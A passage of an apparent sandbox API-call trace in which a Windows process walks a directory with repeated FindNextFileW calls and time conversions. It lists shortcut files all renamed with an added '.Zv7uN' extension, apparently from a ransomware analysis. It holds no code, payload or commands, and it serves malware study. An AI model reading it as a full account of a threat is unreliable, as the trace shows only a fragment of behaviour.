nFileSizeLow=0x3a9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="upgu6XAw0nd8_3Lb5i.lnk.Zv7uN", cAlternateFileName="UPGU6X~1.ZV7")) returned 1 [0084.962] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.962] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e34000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e34000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fe22180, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="u_LT1cVy3Vs87U4LbN7z.lnk.Zv7uN", cAlternateFileName="U_LT1C~1.ZV7")) returned 1 [0084.962] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.962] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21dade0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21dade0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fe482e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="VafNA2H199yI1tndZ.flv.lnk.Zv7uN", cAlternateFileName="VAFNA2~1.ZV7")) returned 1 [0084.962] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.962] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6eae60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x503c95c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1479, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="vctdac7wdvfxK.lnk.Zv7uN", cAlternateFileName="VCTDAC~1.ZV7")) returned 1 [0084.962] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.962] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2546d80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2546d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50415880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a79, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="VnMkxHGllRW.lnk.Zv7uN", cAlternateFileName="VNMKXH~1.ZV7")) returned 1 [0084.963] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.963] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.963] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d62c780, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d62c780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5043b9e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19c5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Vn_LVk.lnk.Zv7uN", cAlternateFileName="VN_LVK~1.ZV7")) returned 1 [0084.963] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.963] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.963] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29bd6c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe29bd6c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50461b40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="vUCHxYZhOfXC.lnk.Zv7uN", cAlternateFileName="VUCHXY~1.ZV7")) returned 1 [0084.963] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.963] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.963] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f797e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f797e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50487ca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20f9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="vvHLRrn4vyqF-1i1p.lnk.Zv7uN", cAlternateFileName="VVHLRR~1.ZV7")) returned 1 [0084.963] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.963] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.963] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0524480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d710fc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x504ade00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="WkutMmuC.lnk.Zv7uN", cAlternateFileName="WKUTMM~1.ZV7")) returned 1 [0084.963] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.963] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.963] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fd6f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2fd6f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x504fa0c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20ac, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="XdgW2PShs.lnk.Zv7uN", cAlternateFileName="XDGW2P~1.ZV7")) returned 1 [0084.963] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.964] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21689c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21689c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50520220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe12, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xe-Wv9.mkv.lnk.Zv7uN", cAlternateFileName="XE-WV9~1.ZV7")) returned 1 [0084.964] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.964] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16fe980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d332c00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50546380, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xeOnABdo_Zx4RoO-.lnk.Zv7uN", cAlternateFileName="XEONAB~1.ZV7")) returned 1 [0084.964] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.964] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19d23a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe19d23a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50546380, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a28, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="XItXehzcofYBo38.lnk.Zv7uN", cAlternateFileName="XITXEH~1.ZV7")) returned 1 [0084.964] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.964] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdff0ac20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdff0ac20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x5056c4e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa63, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xjQ7-Z6-cvpQ18.lnk.Zv7uN", cAlternateFileName="XJQ7-Z~1.ZV7")) returned 1 [0084.964] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.964] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2011d60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2011d60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50592640, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Xkl0bf1xtDXHz.lnk.Zv7uN", cAlternateFileName="XKL0BF~1.ZV7")) returned 1 [0084.964] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.964] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a1e660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a1e660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50604a60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xxHQGFPyd0BOtwqaWoa8.ots.lnk.Zv7uN", cAlternateFileName="XXHQGF~1.ZV7")) returned 1 [0084.964] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.964] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe376d540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe376d540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x5062abc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Yf8w3Ir-P2yrhyy.lnk.Zv7uN", cAlternateFileName="YF8W3I~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.965] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4fbc80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d4fbc80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50676e80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="YS0OguZ6OJI9t.lnk.Zv7uN", cAlternateFileName="YS0OGU~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.965] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b3a480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2b3a480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x5069cfe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x144d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ZBpLsdIGq.lnk.Zv7uN", cAlternateFileName="ZBPLSD~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.965] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0524480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0524480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x506c3140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="zES2lw09mWYyi-oFEb.lnk.Zv7uN", cAlternateFileName="ZES2LW~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.965] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01de640, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2c44e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x5075b6c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x952, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ZJXH.lnk.Zv7uN", cAlternateFileName="ZJXHLN~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.965] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe054a5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe054a5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50781820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ZYdqwrH.lnk.Zv7uN", cAlternateFileName="ZYDQWR~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.965] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.965] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0061880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe37b9800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x507a7980, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Zyj26cHu tegBHSw1Uj.lnk.Zv7uN", cAlternateFileName="ZYJ26C~1.ZV7")) returned 1 [0084.965] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2651720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2651720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x507cdae0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x209a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_ kJbX69.lnk.Zv7uN", cAlternateFileName="_KJBX6~1.ZV7")) returned 1 [0084.966] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf42e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x507f3c40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a4d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_DoNNCW.lnk.Zv7uN", cAlternateFileName="_DONNC~1.ZV7")) returned 1 [0084.966] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe150f7a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe150f7a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x50819da0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xeaf, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_HqTmD-7I2qdeb1.lnk.Zv7uN", cAlternateFileName="_HQTMD~1.ZV7")) returned 1 [0084.966] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ecc580, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ecc580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x5083ff00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_sTXIMggYSPV.lnk.Zv7uN", cAlternateFileName="_STXIM~1.ZV7")) returned 1 [0084.966] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ab6be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ab6be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x508b2320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20e3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_XVFyuqaJA4MHES.lnk.Zv7uN", cAlternateFileName="_XVFYU~1.ZV7")) returned 1 [0084.966] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.966] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ab6be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ab6be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x508b2320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20e3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_XVFyuqaJA4MHES.lnk.Zv7uN", cAlternateFileName="_XVFYU~1.ZV7")) returned 0 [0084.966] GetLastError () returned 0x12 [0084.966] FindClose (in: 